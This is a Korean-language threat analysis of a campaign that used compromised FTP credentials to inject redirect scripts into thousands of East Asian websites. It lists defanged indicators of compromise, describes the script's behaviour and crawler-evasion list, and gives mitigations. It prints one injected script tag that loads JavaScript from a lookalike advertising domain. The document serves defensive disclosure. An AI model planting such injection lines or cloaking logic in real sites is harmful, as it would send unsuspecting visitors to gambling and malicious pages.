1. 개요
- 동아시아 사용자들이 주로 방문하는 웹사이트 수천 개가 침해
※ 최소 10,000개의 웹사이트를 손상시켰으며, 대부분은 중소기업이나 개인이 운영하는 사이트며, 대기업에서 운영하는 사이트도 일부 존재
- 이 사이트들에 접속하려 하면 방문자들은 해당 사이트가 아니라 성인 또는 도박 사이트로 리디렉션
- 2022.09부터 시작된 것으로 보이며, 공격자들은 FTP 크리덴셜을 활용
- 크리덴셜 정보를 탈취한 경로와 초기 웹 서버에 접속하는 방식 등 공격 백터를 특정하지 못했으나, 공격이 지속되어 공개
1.1 리다이렉션
- 리다이렉션: 이용자가 A가 웹 사이트 B에 접속 시 작업, 오류 등의 사유로 이용자 A를제 3의 사이트 C로 이동시키는 것
> 목적 사이트를 결정하기 위해 신뢰되지 않은 데이터를 사용하고, 이에 대한 적절한 검증이 없을 경우
> 공격자가 조작한 성인, 피싱, 악성 사이트 등으로 리다이렉트되는 취약점
2. 분석
- 공격자들은 사이버 공격을 통해 취득된 정당한 FTP 자격 정보를 이용해 이용자들을 2022.09부터 성인 또는 도박 사이트로 리다이렉션
- 호스팅 업체와 웹사이트 구축에 사용된 기술의 차이로 공격자들이 어떤 식으로 침해하는지 밝혀내는 것이 어려웠음
- 침해된 웹 사이트의 경우 다음 2가지 공통점을 가짐
① 중국 또는 다른 곳에서 호스팅 되지만 중국 관객을 대상으로 서비스
② FTP 포트(21)가 열려 있는 서버 또는 다른 FTP 엔드포인트를 통해 접근
2.1 공격 방식
- 동아시아에서 호스트되고 있는 Azure Web Apps 중에 사용자를 성인용 웹사이트로 리디렉션하는 몇 가지 부정 액세스가 확인됨
- 브루트포스 등 취약한 계정을 사용한 FTP 서버에 접속해 웹 페이지 변경을 수행한 것으로 판단됨.
- 관련 FTP 로그를 분석해 본 결과, 172.81.104[.]64부터의 접근이 확인됨.
※ 중국 IP를 가진 허니팟을 구성한 결과, 해당 IP로 부터의 접근이 다수 확인
- 피해 웹사이트접속시 원격에 호스팅 되어 있는 자바스크립트를 다운하는 HTML 코드가 한 줄씩 추가되어 있었음.
※ tpc[.]googlesyndication[.]com(페이지내 표시된 광고를 클릭했을 경우 발생되는 트래픽) 등 정규 서비스로 위장
※ 하위 도메인 com을 다른 도메인으로 변경
<script type="text/javascript" src="https://tpc.googlesyndication[.]wiki/sodar/sodar2.js"></script>
- 자바 스크립트의 경우 다음 2가지의 공통점을 가짐
① 자바스크립트 실행을 동아시아 특정 국가에서 접속한 사용자로 제한
② User-Agent와 Refferes를 참조 및 웹 크롤러 목록과 대조해 크롤러를 사용한 경우 해당 요청 무시
- 자바스크립트 유포 사이트는 정상 URL과 유사한 형태로 목록은 다음과 같음
※ 취소선이 표시된 경우 현재는 Offline
※ 정상 사이트와 비교 표
Malicious URL | Legitimate URL |
tpc.googlesyndication[.]wiki/sodar/sodar2.js | tpc.googlesyndication[.]com/sodar/sodar2.js |
beacon-v2.helpscout[.]help/static/js/vendor.06c7227b.js | beacon-v2.helpscout[.]net/static/js/vendor.06c7227b.js |
cdn.jsdelivr[.]net/npm/jquery/dist/jquery.min.js | |
*/static/js/min[.]js | |
www.metamarket[.]quest/market.js | www[.]metamarket[.]com |
cdn-go[.]net/vasdev/web_webpersistance_v2/v1.8.2/flog.core.min.js | cdn-go[.]cn/vasdev/web_webpersistance_v2/v1.8.2/flog.core.min.js |
a.msstatic[.]net/main3/common/assets/template/head/ad.tmpl_a9b7.js | a.msstatic[.]com/huya/main3/* |
2.2 리다이렉션 스크립트
- 자바스크립트는 동작 조건는 다음과 같음
① 스크립트가 실행되면 0~1의 난수가 계산되며, 난수가 확률치보다 작은 경우 cookie를 설정한 후 srcAddress에 나열된 웹 사이트로 리다이렉션
※ 해당 cookie는 24시간 후 만료되도록 설정됨
② 이미 cookie가 설정된 사용자가 접근할 경우 즉시 srcAddress에 나열된 웹 사이트로 리다이렉션
③ 사용자가 모바일로 접속하고, 몇 가지 조건을 충족시키면 downloadSrc 필드에 나열된 리소스로 리디렉션되어 앱 다운
※ 조건 1: 안드로이드 브라우저(모바일용 웹 브라우저) 사용
※ 조건 2: config.androidApk 플래그가 스크립트로 활성화된 경우
④ User-Agent헤더 값을 알려진 웹 크롤러 목록과 비교하여 웹 크롤러인 경우 해당 요청 무시
※ User-Agent헤더 값이 알려진 웹 크롤러이며, Refferes헤더 값이 알려진 웹 브라우저일 경우 리다이렉션되지 않음
※ 스크립트에 표시된 크롤러 목록
bot|googlebot|crawler|spider|robot|crawling|Bytespider|Googlebot|Baiduspider|MSN Bot\/Bingbot|Yandex Bot|Soso Spider|Sosospider|Sogou Spider|360Spider|Yahoo! Slurp China|Yahoo!|YoudaoBot|YodaoBot|Sogou News Spider|msnbot|msnbot-media|bingbot|YisouSpider|ia_archiver|EasouSpider|JikeSpider|EtaoSpider|SemrushBot
2.3 중간 경유지
- 정상 URL과 유사한 형태로 목록은 다음과 같음
※ 리다이렉션은 직접 이루어졌으나, 현재는 중간 경유지를 통해 리다이렉션됨
Malicious URL | Legitimate URL |
s3a.pstatp[.]org/toutiao/push.js | s3a.pstatp[.]com/toutiao/push.js |
stat.51sdk[.]org/ (e.g., stat.51sdk[.]org/b8nb3Ww5CtxpZis2) | stat.51sdk[.]com (?) |
tpc.cdn-linkedin[.]info/js/vendor.5b3ca61.js | *-cdn.linkedin[.]com (e.g., mobile-cdn.linkedin.com) |
widget-v4.tidiochat[.]net/1_131_0/static/js/chunk-WidgetIframe-.js | widget-v4.tidiochat[.]com/1_137_1/static/js/* |
2.4 리다이렉션 사이트
- alibod1[.]com, 22332299[.]com, alibb1[.]xyz, alibb2[.]xyz이 있으며, 각종 도박 사이트 광고가 표시되고 팝업이 발생
3. 대응방안
① FTP(FTP 또는 SFTP)를 통해 웹사이트를 관리할 경우 강력한 사용자 이름과 패스워드 조합으로 사용할 것을 권장
② 계정 탈취 가능성이 존재하므로, 계정 변경
③ FTP를 사용해야하는 경우 FTPS 또는 SFTP로 전환
※ FTPS: 기존의 FTP에 전송 계층 보안(TLS)과 보안 소켓 계층(SSL) 암호화 프로토콜에 대한 지원이 추가된 것
※ SFTP: SSH File Transfer Protocol'의 약자로, 암호화를 통해 데이터를 안전하게 전송(일반 텍스트 파일은 전송되지 않음)
※ 차이점: FTPS는 인증서를 이용한 FTP+SSL 구성이며, SFTP는 SSH를 이용함
④ 최신 버전의 소프트웨어, 보안 프로그램등을 사용
⑤ 웹 소스 리뷰
⑥ 보안 장비 IoC 적용
4. 참고
[1] https://www.securityweek.com/thousands-of-websites-hijacked-using-compromised-ftp-credentials/
[2] https://www.wiz.io/blog/redirection-roulette
[3] https://www.boannews.com/media/view.asp?idx=114867&page=1&kind=1